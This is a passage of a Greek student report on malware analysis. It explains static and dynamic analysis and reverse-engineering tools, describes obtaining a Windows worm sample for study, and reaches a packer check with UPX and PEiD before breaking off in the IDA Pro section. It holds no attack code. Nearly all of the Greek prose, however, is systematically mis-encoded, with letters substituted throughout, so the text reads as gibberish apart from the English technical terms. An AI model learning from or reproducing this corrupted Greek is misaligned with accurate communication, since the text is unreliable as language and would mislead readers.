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ΔΙ΢ΑΓΧΓΗ 

Σηελ παξνύζα εξγαζία ζα γίλεη κηα απόπεηξα εμέηαζεο θαη αλάιπζεο ελόο θαθόβνπινπ 

ινγηζκηθνύ. Τν είδνο ηνπ θαθόβνπινπ ινγηζκηθνύ πνπ ζα εμεηαζηεί είλαη ην worm. Έηζη 

ινηπόλ έρνληαο κεδεληθή γλώζε γηα ην worm ζα πξνζπαζήζνπκε λα θαηαλνήζνπκε ηελ 

ιεηηνπξγία ηνπ. Τα βαζηθά ζεκεία πνπ ζα πξέπεη λα εμεηαζηνύλ ώζηε λα κπνξέζνπκε 

λα πνύκε όηη έρνπκε “απνθσδηθνπνηήζεη” ηελ ζπκπεξηθνξά ηνπ είλαη ν ηξόπνο πνπ 

εθηειείηαη,  ν ζθνπόο ηνπ, θαη θπζηθά εθόζνλ πξόθεηηαη γηα worm ν ηξόπνο πνπ 

κεηαδίδεηαη κέζσ ηνπ δηαδηθηύνπ.  

Γηα ηελ επίηεπμε ηεο πιήξεο αλάιπζεο ελόο θαθόβνπινπ ινγηζκηθνύ απαηηνύληαη δύν 

ήδε αλάιπζεο. Η δσλακηθή, θαηά ηελ νπνία ην θαθόβνπιν ινγηζκηθό εθηειείηαη ζε 

ειεγρόκελν πεξηβάιινλ θαη παξαηεξείηαη – θαηαγξάθεηαη ε δξάζε θαη ηα απνηειέζκαηα 

ηεο εθηέιεζεο ζε πξαγκαηηθό ρξόλν, θαη ε ζηαηηθή θαηά ηελ νπνία ζπιιέγνληαη δηάθνξα 

ζηνηρεία γηα ην θαθόβνπιν ινγηζκηθό ρσξίο απηό λα εθηειείηαη (ζε ηη compiler έγηλε 

compile, ηη packer  ρξεζηκνπνηήζεθε θ.α)  θαη εμεηάδεηαη ν θώδηθαο assembly ηνπ 

εθηειέζηκνπ. 

Έηζη ινηπόλ ν αλαιπηήο έρνληαο θαηά λνπ ηελ πνξεία αλάιπζεο ηελ νπνία ζα 

αθνινπζήζεη θαη ρξεζηκνπνηώληαο ηα θαηάιιεια εξγαιεία αξρίδεη θαη αλαιύεη ην 

θαθόβνπιν ινγηζκηθό. Τν πνην δύζθνιν θαη ηαπηόρξνλα ην πνίν ζεκαληηθό ζηάδην ηεο 

αλάιπζεο είλαη απηό ηεο εμέηαζεο ηνπ θώδηθα assembly ηνπ εθηειέζηκνπ. Έλαο 

έκπεηξνο αλαιπηήο κπνξεί λα θαηαλνήζεη πιήξσο ηελ ιεηηνπξγία ελόο πξνγξάκκαηνο 

εμεηάδνληαο ηνλ assembly θώδηθα ηνπ. Παξόια απηά πνιύ ρξήζηκα δεδνκέλα 

αληινύληαη θαη από ηελ δπλακηθή αλάιπζε γεγνλόο πνπ κπνξεί λα δώζεη ζηνλ αλαιπηή 

κηα ηδέα γηα ηελ ιεηηνπξγία ηνπ θαθόβνπινπ ινγηζκηθνύ, θαη λα ιεηηνπξγήζεη ζαλ 

ζπκπιήξσκα γηα ηελ θαηαλόεζε ησλ δπζλόεησλ θνκκαηηώλ ηνπ assembly θώδηθα ηνπ 

εθηειέζηκνπ. Σηα θεθάιαηα πνπ αθνινπζνύλ παξνπζηάδεηαη ε ζηαηηθή αλάιπζε θαη 

πεξηγξάθνληαη ηα εξγαιεία ηα νπνία ρξεζηκνπνηήζεθαλ. 
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ΚΔΦΑΛΑΙΟ 1 

1 MALWARE FORENSICS 

 

Malware Forensics, είλαη ε δηαδηθαζία δηεξεύλεζεο θαη αλάιπζεο θαθόβνπινπ θώδηθα, 

γηα λα απνθαιύςεη ηελ ιεηηνπξγία θαη ηνπο ζθνπνύο ηνπ, θαζώο επίζεο θαη λα 

πξνζδηνξίζεη ηνλ ηξόπν δηείζδπζεο ηνπ θαθόβνπινπ ινγηζκηθνύ ζην ζύζηεκα. Τα 

πεξηζζόηεξα από ηα θαθόβνπια πξνγξάκκαηα κπινθάξνληαη από ηα ινγηζκηθά 

antivirus, από ηα εξγαιεία αθαίξεζεο spyware, θαζώο επίζεο θαη από άιια παξόκνηα 

εξγαιεία. Όκσο ππάξρνπλ θαη λέα ινγηζκηθά malware πνπ ηα πξνγξάκκαηα antivirus 

αδπλαηνύλ λα αληρλεύζνπλ. Ο ιόγνο πνπ ζπκβαίλεη απηό είλαη γηαηί απηά ηα 

πξνγξάκκαηα βαζίδνληαη ζε κηα signature-based κέζνδν αλίρλεπζεο. Απηό ζεκαίλεη όηη 

ην antivirus ινγηζκηθό ζπγθξίλεη ην πεξηερόκελν ηνπ ύπνπηνπ θώδηθα κε ηηο 

απνζεθεπκέλεο ππνγξαθέο, όπνπ ε θάζε ππνγξαθή αληηπξνζσπεύεη έλα δείγκα 

θώδηθα ή έλα κνλαδηθό ραξαθηεξηζηηθό, πνπ έρεη εμάγεη από ην αξρηθό θαη γλήζην 

θαθόβνπιν ινγηζκηθό. Ωζηόζν ππάξρνπλ νη ηερληθέο ηνπ ποισκορθηζκού θαη ηνπ 

κεηακορθηζκού, πνπ έρνπλ σο ζηόρν λα εκπνδίζνπλ ηα signature-based πξνγξάκκαηα 

αλαγλώξηζεο, ρξεζηκνπνηώληαο ηπραία θσδηθνπνίεζε ή θξππηνγξάθεζε ηνπ θώδηθα 

πξνγξάκκαηνο κε ηέηνην ηξόπν πνπ λα δηαηεξεί ηελ αξρηθή ιεηηνπξγία ηνπ. 

Μόιηο αληρλεπηεί ε ύπαξμε ελόο θαθόβνπινπ πξνγξάκκαηνο, νη εξεπλεηέο malware 

πξόθεηηαη λα μεθηλήζνπλ ηελ αλάιπζε θαη ηελ αλαηνκία ηνπ. Η ιεηηνπξγία forensics 

επηηπγράλεηαη κε ηελ αληηζηξνθή (reversing) ηνπ πεγαίνπ θώδηθα ηνπ θαθόβνπινπ 

ινγηζκηθνύ θαη κε ηελ επαλαηνπνζέηεζε ηνπ ζην αξρείν πιεξνθνξηώλ, θαζώο θαη κε ηα 

εξγαιεία παξαθνινύζεζεο δηθηύνπ πνπ κπνξεί λα παξέρεη. Η αληηζηξνθή (reversing) 

ηνπ πεγαίνπ θώδηθα ηνπ malware, είλαη ε πην ηζρπξή κέζνδνο. Έλαο αλαιπηήο malware 

κπνξεί λα απνθαιύςεη όιεο ηηο ιεπηνκέξεηεο ζρεηηθά κε ηα θαθόβνπιν ινγηζκηθό, θαη 

απηό έρεη ζαλ απνηέιεζκα, νη ζπληάθηεο θαθόβνπισλ ινγηζκηθώλ λα πξνζπαζνύλ λα 

εκπνδίζνπλ απηή ηελ δηαδηθαζία κε ηερληθέο αληί-αληηζηξνθήο (anti-reversing). Πξόθεηηαη 

γηα ηερληθέο πνπ θαιύπηνπλ ηνλ θώδηθα, έηζη ώζηε λα εκπνδίδνπλ ηελ δηαδηθαζία 

αλάιπζεο, αιιά ζηελ νπζία πνηέ δελ ηελ εκπνδίδνπλ πξαγκαηηθά. 
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Γεληθά ε αλάιπζε ελόο θαθόβνπινπ ινγηζκηθνύ κπνξεί λα ρσξηζηεί ζε 2 κεγάιεο 

θαηεγνξίεο. Τελ δπλακηθή θαη ηελ Σηαηηθή αλάιπζε. 

 

1.1 ΢ηαηική Ανάλυζη 

 

Η Σηαηηθή Αλάισζε είλαη ε δηαδηθαζία αλάιπζεο εθηειέζηκνπ δπαδηθνύ θώδηθα, ρσξίο 

ζηελ πξαγκαηηθόηεηα λα εθηειείηαη ην αξρείν. Η Σηαηηθή αλάιπζε έρεη ην πιενλέθηεκα 

όηη κπνξεί λα απνθαιύςεη, πώο έλα πξόγξακκα ζα ζπκπεξηθεξζεί θάησ από 

αζπλήζηζηεο ζπλζήθεο, απηό ζπκβαίλεη γηαηί κπνξνύκε λα εμεηάζνπκε θάπνηα κέξε ελόο 

πξνγξάκκαηνο πνπ θαλνληθά δελ εθηεινύληαη. Τν θαθόβνπιν ινγηζκηθό κπνξεί λα 

αξρίζεη ηελ εθηέιεζή ηνπ κεηά από θάπνην ρξνληθό δηάζηεκα ή όηαλ έλα ζπκβεί θάπνην 

εηδηθό γεγνλόο. Θα κπνξνύζε λα μεθηλήζεη δειαδή όηαλ ν ρξήζηεο πεξηεγείηαη ζε online 

θαηάζηεκα ή θάλεη θάπνηα online ηξαπεδηθή ζπλαιιαγή. Δίλαη ζεκαληηθό λα βξεζεί πσο 

ην θαθόβνπιν ινγηζκηθό κπνξεί λα μεθύγεη από ηνλ εληνπηζκό ησλ πξνγξακκάησλ 

antivirus, θαζώο επίζεο πσο κπνξνύλ λα παξαθάκπηνπλ ην ηείρνο πξνζηαζίαο θαη 

άιιεο πξνζηαζίεο αζθάιεηαο. Η ζηαηηθή αλάιπζε αθόκα βνεζά ηνπο εξεπλεηέο λα 

απνθαιύςνπλ ηη κπνξεί λα θάλεη έλα θνκκάηη ηνπ malware θαη πώο λα ην ζηακαηήζνπλ. 

Δπηπξόζζεηα, γηα λα επηηεπρηεί ζηαηηθή αλάιπζε, νη εξεπλεηέο ζα πξέπεη λα έρνπλ θαιή 

γλώζε ηεο γιώζζαο assembly θαη ηνπ ιεηηνπξγηθνύ ζπζηήκαηνο ζηόρνπ. 

Με ηελ ηετληθή reverse-engineering, νη εξεπλεηέο είλαη ζε ζέζε λα κεηαηξέςνπλ ηελ 

γιώζζα assembly, ζε γιώζζα πςειόηεξνπ επηπέδνπ. Η αληίζηξνθε κεραληθή (reverse 

engineering) είλαη ε κόλε ιύζε γηα ηελ θαηαλόεζε θαη ηελ απόθηεζε ηνπ πεγαίνπ 

θώδηθα, από πξνγξάκκαηα θιεηζηνύ θώδηθα. Τα εξγαιεία ζηαηηθήο αλάιπζεο 

πεξηιακβάλνπλ αλαιπηέο πξνγξάκκαηνο, debuggers θαη disassemblers. Απηά ηα 

εξγαιεία είλαη ζε ζέζε λα αληρλεύζνπλ αλ ην θαθόβνπιν ινγηζκηθό ρξεζηκνπνηεί θάπνηα 

από ηηο ηερληθέο πξνζηαζίαο ηνπ ινγηζκηθνύ. 
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1.2 Reverse Engineering 

 

Οη πξνγξακκαηηζηέο  ησλ ινγηζκηθώλ anti-virus, ηεκαρίδνπλ θάζε πξόγξακκα 

θαθόβνπινπ ινγηζκηθνύ πνπ πέθηεη ζηα ρέξηα ηνπο, κε ηελ ρξήζε ηερληθώλ reverse 

engineering. Οη ηερληθέο reversing (αληηζηξνθήο), απαηηνύλ ηελ ηθαλόηεηα θαηαλόεζεο 

ηεο εζσηεξηθήο δνκήο ησλ πξνγξακκάησλ, ηελ γιώζζα assembly θαη ην ιεηηνπξγηθό 

ζύζηεκα. Πξνζπαζνύλ λα εμάγνπλ πνιύηηκεο πιεξνθνξίεο από ηα πξνγξάκκαηα γηα ηα 

νπνία ν πεγαίνο θώδηθαο δελ είλαη δηαζέζηκνο θαη είλαη επίζεο δπλαηόλ λα εμάγνπλ 

δεδνκέλα όισλ ησλ πξνγξακκάησλ, ζπκπεξηιακβαλνκέλνπ ηνπ αξρηθνύ (ή παξόκνηνπ) 

πεγαίνπ θώδηθα. Σπλήζσο δηεμάγεηαη γηα ηελ απόθηεζε γλώζεσλ πνπ ιείπνπλ, ηδεώλ, 

θαη ζρεδηαζηηθήο θηινζνθίαο όηαλ νη πιεξνθνξίεο δελ είλαη δηαζέζηκεο. Σε θάπνηεο 

πεξηπηώζεηο νη πιεξνθνξίεο αλήθνπλ ζε θάπνηνλ πνπ δελ έρεη σο ζθνπό λα ηηο 

κνηξαζηεί θαη ζε άιιεο πεξηπηώζεηο νη πιεξνθνξίεο έρνπλ ραζεί ή έρνπλ θαηαζηξαθεί. 

Γηα κεξηθνύο αλζξώπνπο ε ζρέζε κεηαμύ ηεο αζθάιεηαο θαη ηεο αληηζηξνθήο κπνξεί λα 

κελ είλαη ακέζσο ζαθέο. Η αληηζηξνθή ζρεηίδεηαη κε δηάθνξεο πηπρέο ηεο αζθάιεηαο 

ησλ ππνινγηζηώλ. Γηα παξάδεηγκα, ε αληηζηξνθή έρεη ρξεζηκνπνηεζεί ζηελ 

θξππηνγξαθηθή έξεπλα, δειαδή, έλαο εξεπλεηήο αληηζηξέθεη έλα πξντόλ 

θξππηνγξάθεζεο θαη αμηνινγεί ην επίπεδν αζθάιεηαο πνπ απηό παξέρεη. Δπίζεο 

ζρεηίδεηαη ζε πνιύ κεγάιν βαζκό κε ην θαθόβνπιν ινγηζκηθό, πνπ απηό ζεκαίλεη όηη 

ρξεζηκνπνηείηαη ηόζν από ηνπο πξνγξακκαηηζηέο malware θαζώο θαη από εθείλνπο πνπ 

ζα αλαπηύμνπλ ηα αληίδνηα γηα ηελ αληηκεηώπηζή ηνπο. 

Οη πξνγξακκαηηζηέο θαθόβνπισλ ινγηζκηθώλ, ζπρλά ρξεζηκνπνηνύλ ηελ αληηζηξνθή 

γηα λα εληνπίζνπλ ηξσηά ζεκεία ζηα ιεηηνπξγηθά ζπζηήκαηα θαη ζε άιια ινγηζκηθά. 

Τέηνηα ηξσηά ζεκεία, κπνξνύλ λα ρξεζηκνπνηεζνύλ γηα λα 

δηαπεξάζνπλ ηα ζηξώκαηα άκπλαο ηνπ ζπζηήκαηνο θαη λα πξνθαιέζνπλ κόιπλζε-

ζπλήζσο κέζσ Internet. Πέξα από ηελ κόιπλζε, νη ηερληθέο αληίζηξνθεο κεραληθήο 

επηηξέπνπλ ζε έλα θαθόβνπιν πξόγξακκα λα απνθηήζεη πξόζβαζε ζε επαίζζεηεο 

πιεξνθνξίεο ή αθόκα θαη λα ιάβεη ηνλ πιήξε έιεγρν ηεο πιεξνθνξίαο. 

Οη πξνγξακκαηηζηέο πξνγξακκάησλ antivirus, ηεκαρίδνπλ θαη αλαιύνπλ θάζε 

θαθόβνπιν πξόγξακκα πνπ πέθηεη ζηα ρέξηα ηνπο. Φξεζηκνπνηνύλ ηηο ηερληθέο 
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reversing γηα ηελ αλίρλεπζε ηνπ θάζε βήκαηνο πνπ θάλεη ην πξόγξακκα, λα 

αμηνινγήζνπλ ηελ δεκηά πνπ ζα κπνξνύζε λα πξνθαιέζεη ζην ζύζηεκα, πώο ζα 

κπνξέζεη λα αθαηξεζεί από ην ζύζηεκα θαζώο θαη αλ ε κόιπλζε ζα κπνξνύζε λα 

απνθεπρζεί εληειώο. 

 

1.2.1 Σα Δργαλεία 

Η αληηζηξνθή έρεη λα θάλεη κε ηα εξγαιεία. Παξαθάησ ζα γίλεη πεξηγξαθή ησλ βαζηθώλ 

θαηεγνξηώλ ησλ εξγαιείσλ πνπ ρξεζηκνπνηνύληαη ζηελ αληίζηξνθε κεραληθή. Πνιιά 

από απηά ηα εξγαιεία δελ έρνπλ δεκηνπξγεζεί εηδηθά γηα ηελ αληίζηξνθε κεραληθή, 

σζηόζν είλαη πνιύ ρξήζηκα. 

 

 System-Monitoring Tools 

Η αληηζηξνθή ζπζηήκαηνο ζε επίπεδα απαηηεί κηα πνηθηιία εξγαιείσλ ηα νπνία 

αληρλεύνπλ, παξαθνινπζνύλ, δηεξεπλνύλ, ή θαη δηαθνξεηηθά, μεζθεπάδνπλ ην 

πξόγξακκα ώζηε λα αληηζηξέθεηαη. Τα πεξηζζόηεξα από απηά ηα εξγαιεία εκθαλίδνπλ 

πιεξνθνξίεο πνπ ζρεηίδνληαη κε ηελ εθαξκνγή θαη ην πεξηβάιινλ ηνπ, ηα νπνία 

ζπιιέγνληαη από ην ιεηηνπξγηθό ζύζηεκα. Δπεηδή ζρεδόλ όιεο νη επηθνηλσλίεο κεηαμύ 

ηνπ πξνγξάκκαηνο θαη ηνπ έμσ θόζκνπ πεξλάλε κέζα από ην ιεηηνπξγηθό ζύζηεκα, 

απηά ζπλήζσο κπνξνύλ λα αμηνπνηεζνύλ γηα ηελ εμαγσγή ηέηνησλ πιεξνθνξηώλ. Τα 

εξγαιεία ζπζηεκάησλ παξαθνινύζεζεο κπνξνύλ λα παξαθνινπζνύλ δηάθνξεο 

θηλήζεηο δηθηύσζεο, πξνζβάζεηο ζε αξρεία ή ζηελ registry θαζώο θαη ζε δηάθνξα άιια. 

Υπάξρνπλ επίζεο εξγαιεία πνπ εθζέηνπλ ηελ ρξήζε ελόο πξνγξάκκαηνο ηνπ 

ιεηηνπξγηθνύ ζπζηήκαηνο, ηέηνηα αληηθείκελα είλαη ηα mutexes, pipes, events θαη 

δηάθνξα άιια. 
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 Disassemblers 

Τα disassemblers, είλαη πξνγξάκκαηα ηα νπνία ιακβάλνπλ ηνλ εθηειέζηκν δπαδηθό 

θώδηθα ελόο πξνγξάκκαηνο σο είζνδν θαη παξάγνπλ αξρεία θεηκέλνπ πνπ πεξηέρνπλ 

γιώζζα assembly γηα νιόθιεξν ην πξόγξακκα ή ηκήκαηα ηνπ. Απηή είλαη κηα ζρεηηθά 

απιή δηαδηθαζία, ζεσξώληαο όηη ν θώδηθαο ηεο γιώζζαο assembly είλαη απιά κηα 

θεηκεληθή ραξηνγξάθεζε ηνπ θαηαιεθηηθνύ θώδηθα. Έλαο πςειήο πνηόηεηαο 

disassembler, είλαη ην βαζηθό θιεηδί ζηελ εξγαιεηνζήθε ελόο αληηζηξνθέα, όκσο κεξηθνί 

αληηζηξνθείο πξνηηκνύλ λα ρξεζηκνπνηνύλ ελζσκαησκέλνπο disassemblers ηα νπνία 

πεξηέρνληαη ζε θάπνηα ρακεινύ επηπέδνπ πξνγξάκκαηα εληνπηζκνύ ζθαικάησλ 

(debuggers). 

 Debuggers 

Η βαζηθή ηδέα πίζσ από έλα debugger είλαη όηη νη πξνγξακκαηηζηέο δελ κπνξνύλ ζηελ 

πξαγκαηηθόηεηα λα δνπλ όια απηά πνπ θάλεη έλα πξόγξακκα. Τα πξνγξάκκαηα 

ζπλήζσο είλαη πάξα πνιύ ζύλζεηα γηα έλα άλζξσπν ώζηε λα πξνβιέςεη ζηελ 

πξαγκαηηθόηεηα θάζε δπλαηό απνηέιεζκα. Έλα πξόγξακκα εληνπηζκνύ ζθαικάησλ 

είλαη έλα πξόγξακκα πνπ επηηξέπεη ζηνπο πξνγξακκαηηζηέο ινγηζκηθώλ λα 

παξαηεξνύλ θαη λα ειέγρνπλ ηα πξνγξάκκαηά ηνπο, ελώ απηά βξίζθνληαη ζε ιεηηνπξγία. 

Τα δπν πην βαζηθά ραξαθηεξηζηηθά ελόο πξνγξάκκαηνο εληνπηζκνύ ζθαικάησλ είλαη ε 

δπλαηόηεηα νξηζκνύ ζεκείσλ δηαθνπήο θαηά ηελ δηαδηθαζία θαη ε ηθαλόηεηα αλίρλεπζεο 

δηακέζνπ ηνπ θώδηθα. 

Με απηά ηα δύν ζεκαληηθά ραξαθηεξηζηηθά, νη πξνγξακκαηηζηέο κπνξνύλ λα 

παξαθνινπζνύλ ζηελά ηα πξνγξάκκαηά ηνπο, δεδνκέλνπ όηη εθηειεί έλα πξνβιεκαηηθό 

ηκήκα ηνπ θώδηθα θαη λα πξνζπαζήζνπλ λα θαζνξίζνπλ ηελ πεγή ηνπ πξνβιήκαηνο. 

Γηα έλα αλαζηξνθέα, ην πξόγξακκα εληνπηζκνύ ζθαικάησλ (debugger) είλαη ζρεδόλ 

ηόζν ζεκαληηθό όζν είλαη ζε έλαλ επαγγεικαηία αλάπηπμεο ινγηζκηθνύ, αιιά γηα ιίγν 

δηαθνξεηηθνύο ιόγνπο. Πξώην θαη θπξηόηεξν, νη αληηζηξνθείο ρξεζηκνπνηνύλ 

πξνγξάκκαηα εληνπηζκνύ ζθαικάησλ ζε ιεηηνπξγία απνζπλαξκνιόγεζεο 
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(disassembly). Σηελ ιεηηνπξγία απνζπλαξκνιόγεζεο, έλαο debugger ρξεζηκνπνηεί έλα 

ελζσκαησκέλν disassembler γηα ζπλερή απνζπλαξκνιόγεζε ηνπ θαηαιεθηηθνύ θώδηθα. 

 Decompilers 

Τα decompilers είλαη ην επόκελν βήκα από ηνπο disassemblers. Έλαο decompiler 

παίξλεη έλα εθηειέζηκν δπαδηθό αξρείν θαη πξνζπαζεί από απηό λα παξάγεη 

αλαγλώζηκν θώδηθα κηαο γιώζζαο πςεινύ επηπέδνπ. Η ηδέα είλαη λα γίλεη κηα 

πξνζπάζεηα θαη λα αληηζηξαθεί ε δηαδηθαζία compile, έηζη ώζηε λα απνθηεζεί ην αξρηθό 

αξρείν ή θάηη παξόκνην κε απηό. Υπάξρνπλ ζεκαληηθά ζηνηρεία ζηηο πεξηζζόηεξεο 

γιώζζεο πςεινύ επηπέδνπ πνπ παξαιείπνληαη θαηά ηε δηάξθεηα ηεο δηαδηθαζίαο 

compile θαη είλαη αδύλαην λα αλαθηεζνύλ. Αθόκα, νη decompilers είλαη ηζρπξά εξγαιεία 

ηα νπνία ζε νξηζκέλεο θαηαζηάζεηο θαη πεξηβάιινληα κπνξνύλ λα αλαθαηαζθεπάζνπλ 

από δπαδηθή κνξθή έλαλ πςειά αλαγλώζηκν πεγαίν θώδηθα.  
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ΚΔΦΑΛΑΙΟ 2 

2 ΠΡΟΔΣΟΙΜΑ΢ΙΑ  

 

2.1 Επιλογή ηου Malware 

Υπάξρνπλ πνιιά είδε θαθόβνπινπ ινγηζκηθνύ πνπ ζα κπνξνύζαλ λα επηιεγνύλ γηα 

κειέηε θαη αλάιπζε. Γηα ηελ ζπγθεθξηκέλε πεξίπησζε ηέζεθε σο ζηόρνο ε αλάιπζε 

ελόο Worm (ζθνπιεθη) ην νπνίν “κνιύλεη” ην ιεηηνπξγηθό ζύζηεκα Windows. 

Μηα αμηόπηζηε ηζηνζειίδα πνπ παξέρεη θαθόβνπιν ινγηζκηθό γηα κειέηε είλαη ε 

www.offensivecomputing.net . Σε απηήλ κπνξεί νπνηνζδήπνηε λα θαηεβάζεη, κεηά 

βεβαία από κηα δηαδηθαζία εγγξαθήο γηα επλόεηνπο ιόγνπο, ην θαθόβνπιν πξόγξακκα 

πνπ ηνλ ελδηαθέξεη ζε αξρείν .zip. 

 

2.2 Εργαλεία  

 

 VMware Workstation 

Έλα από ηα πνην δηάζεκα πξόγξακκα γηα Virtualization. Φξεζηκνπνηήζεθε ηόζν γηα λα 

εγθαηαζηήζνπκε ην κεράλεκα αλάιπζεο (Windows XP) όζν θαη ην κεράλεκα ειέγρνπ 

(BackTrack). 

 Depedency Walker 

Η εθαξκνγή απηή ιεηηνπξγεί εμεηάδνληαο ζε βάζνο ησλ θώδηθα ελόο αξρείνπ (exe, dll, 

ocx, sys, θιπ) θαη ζηε ζπλέρεηα δεκηνπξγώληαο έλα ηεξαξρηθό δελδξνδηάγξακκα κε όιεο 

ηηο εμαξηήζεηο ησλ επηκέξνπο δνκηθώλ ζηνηρείσλ (module) ηνπ . Πξαθηηθά απηό ζεκαίλεη 

όηη κπνξεί λα εληνπίζεη όια ηα dll πνπ θαιεί ην αξρείν, ην πνηέο ζπλαξηήζεηο 

ζπγθεθξηκέλα ρξεζηκνπνηεί, αιιά θαη ηα dll θαη ζπλαξηήζεηο πνπ απηέο κε ηε ζεηξά ηνπο 

αμηνπνηνύλ. Αμίδεη λα ζεκεησζεί όηη θάζε έλα από ηα νλόκαηα ησλ ζπλαξηήζεσλ 

ιεηηνπξγεί σο ελεξγόο ζύλδεζκνο, παξαπέκπνληαο ζηελ αληίζηνηρε ζειίδα ηνπ MSDN 

γηα πεξαηηέξσ πιεξνθνξίεο. 

http://www.offensivecomputing.net/
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 UPX 

Ο UPX (Ultimate Packer for eΦecutables) είλαη πξόγξακκα packer. Σπκπηέδεη ην αξρηθό 

πξόγξακκα θαη δπζρεξαίλεη ζε ζεκαληηθό βαζκό ηελ αλάιπζή ηνπ. Γηαζέηεη θαη 

δηαδηθαζία απνζπκπίεζεο ,ε νπνία θαη ρξεζηκνπνηήζεθε. 

 BinText 

Έλα εμαηξεηηθά ρξήζηκν εξγαιείν γηα ηελ εμαγσγή ζπκβνινζεηξώλ (strings) ASCII θαη 

UNICODE ραξαθηήξσλ. Φξήζηκν γηα ηνλ εληνπηζκό hardcoded ιέμεσλ όπσο URLs ή 

νλόκαηα ζπλαξηήζεσλ. Δληνπίδεη ηόζν ηε ζέζε ηνπο κέζα ζην αξρείν, όζν θαη ηε ζέζε 

πνπ ζα θαηαιάβνπλ ζηε κλήκε θαηα ηελ ώξα ηεο εθηέιεζεο. 

 PEID 

Πξόγξακκα ην νπνίν καο δίλεη πιεξνθνξίεο ζρεηηθά κε ηνλ ηύπν ηνπ packer πνπ έρεη 

ρξεζηκνπνηεζεί ή αλ δελ έρεη ρξεζηκνπνηεζεί θάπνηνο packer καο δίλεη πιεξνθνξίεο 

ζρεηηθά κε ηνλ compiler κε ηνλ νπνίνλ έγηλε compile ην εθηειέζηκν. 

 IDA PRO 

Έλαο από ηνπο δπλαηόηεξνπο Disassemblers (αληίζηξνθνο ζπκβνινκεηαθξαζηήο) πνπ 

απνηειεί ηελ βαζηθή επηινγή ησλ πεξηζζνηέξσλ αλαιπηώλ θαθόβνπισλ ινγηζκηθώλ θαη 

γεληθά ησλ αλαιπηώλ εππαζεηώλ. Υπνζηεξίδεη πνιιά file formats όπσο Portable 

Executable (PE), Common Object File Format (COFF), Executable and Linking Format 

(ELF), and a.out. Οη δύν βαζηθέο εθδόζεηο ηνπο ππνζηεξίδνπλ κόλν επεμεξγαζηέο x86 

ελώ ε πην πξνεγκέλε έθδνζε ππνζηεξίδεη θαη αξρηηεθηνληθέο x64. Δθηόο ηνπ θώδηθα 

assembly ηνπ εθηειέζηκνπ (ζε κνξθή θεηκέλνπ θαη γξάθνπ) καο δίλεη θαη πιεξνθνξίεο 

ζρεηηθά κε ηηο εηζαγόκελεο ζπλαξηήζεηο (imported functions) θαη ηηο ζπκβνινζεηξέο 

(strings) πνπ ρξεζηκνπνηεί ην εθηειέζηκν. 
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ΚΔΦΑΛΑΙΟ 3 

3 ΢ΣΑΣΙΚΗ ΑΝΑΛΤ΢Η 

 

3.1 Packers 

Σπλήζσο ηα θαθόβνπια ινγηζκηθά είλαη ζπκπηεζκέλα κε θάπνηνλ packer. Πξόθεηηαη γηα 

κηα πξαθηηθή πνπ ρξεζηκνπνηνύλ νη “θαηαζθεπαζηέο” ηέηνηνπ είδνπο ινγηζκηθώλ γηα 

ιόγνπο κεγέζνπο ηνπ εθηειέζηκνπ αιιά θπξίσο γηα λα δπζθνιέςνπλ ζε ζεκαληηθό 

βαζκό ηελ αλάιπζε ηνπ. 

Έλα πνιύ θαιό εξγαιείν γηα απηό ηνλ ζθνπό είλαη ην UPX ην νπνίν κπνξεί λα 

ρξεζηκνπνηεζεί θαη γηα δηαδηθαζίεο απνζπκπίεζεο γεγνλόο πνπ βνεζάεη ζηελ αλάιπζε 

ηνπ θαθόβνπινπ ινγηζκηθνύ. 

Δπηρεηξώληαο λα θάλνπκε unpack ην θαθόβνπιν ινγηζκηθό κε ην UPX βιέπνπκε (εηθόλα 

1) πσο απηό δελ κπόξεζε λα γίλεη (unpacked files 0). 

 

Εηθόλα 1. UnPack κε Χρήζε ηοσ UPX 

Σε πεξίπησζε ζαλ θαη απηήλ πνπ είλαη πηζαλό επηπιένλ παξεκβάζεηο ηνπ δεκηνπξγνύ 

ηνπ ηνύ λα κελ επηηξέπνπλ λα γίλεη εύθνια ην unpack, ηόηε ζα απηό ζα πξέπεη λα γίλεη 

ρεηξνθίλεηα. Έηζη ην πξόγξακκα θνξηώλεηαη ζε debugger (πρ OllyDbg), ηνπ επηηξέπεηαη 
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λα εθηειέζεη κόλν ηελ ξνπηίλα απνθξππηνγξάθεζεο θαη δηαθόπηεηαη πξηλ πξνρσξήζεη 

ζηελ εθηέιεζε ηνπ θπξίσο θώδηθα. Σην ζεκείν απηό αδεηάδεηαη (dump) κε ηελ ρξήζε 

θαηάιιεισλ plugins (πρ OllyDump) από ηε κλήκε ν απνθξππηνγξαθεκέλνο πιένλ 

θώδηθαο θαη επηδηνξζώλεηαη αλ είλαη απαξαίηεην ν Import Table). 

Σην ζεκείν απηό γηα λα πάξνπκε θάπνηεο πιεξνθνξίεο ζρεηηθά κε ην αλ θαη πνηνο 

packer ρξεζηκνπνηήζεθε, θαη ζε πνηνλ compiler έγηλε compile απηό ην malware 

ρξεζηκνπνηήζνπκε ην PEiD (εηθόλα 2). 

 

Εηθόλα 2. Σάρωζε ηοσ Malware κε ηο PEiD 

Όπσο βιέπνπκε ζηελ εηθόλα 2 ην PEiD καο δείρλεη LCC Win32 1.x -> Jacob Navia 

γεγνλόο πνπ ζεκαίλεη πσο κάιινλ δελ έρεη γίλεη pack αθνύ καο δίλεη ηελ πιεξνθνξία 

ηνπ compiler πνπ ρξεζηκνπνηήζεθε (lcc-win32) επζέσο. Δπίζεο απν ην PEiD βιέπνπκε 

πσο ην εθηειέζηκν πεξηιακβάλεη ηξείο ηνκείο, .text, .data, .idata πνπ είλαη απνιύησο 

ινγηθό γηα εθηειέζηκα αξρεία (εηθόλα 3). 
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Εηθόλα 3. Δοκή Εθηειέζηκοσ ‘Οπως Φαίλεηαη ζηο PEiD 

 

Έηζη  ινηπόλ εθόζνλ δελ ππάξρεη θάπνηνο packer, κπνξνύκε λα πξνζρσξήζνπκε 

παξαθάησ κε ηελ ζηαηηθή αλάιπζε. 

 

3.2 Ανάλυζη ηου Kώδικα ηου Malware 

 

3.2.1 Ο IDA PRO 

Ο IDA Pro (Interactive Disassembler Professional) είλαη έλαο από ηνπο δπλαηόηεξνπο 

Disassemblers (αληίζηξνθνο ζπκβνινκεηαθξαζηήο) πνπ απνηειεί ηελ βαζηθή επηινγή 

ησλ πεξηζζνηέξσλ αλαιπηώλ θαθόβνπισλ ινγηζκηθώλ θαη γεληθά ησλ αλαιπηώλ 

εππαζεηώλ. Υπνζηεξίδεη πνιιά file formats όπσο Portable Executable (PE), Common 

Object File Format (COFF), Executable and Linking Format (ELF), and a.out. Οη δύν 

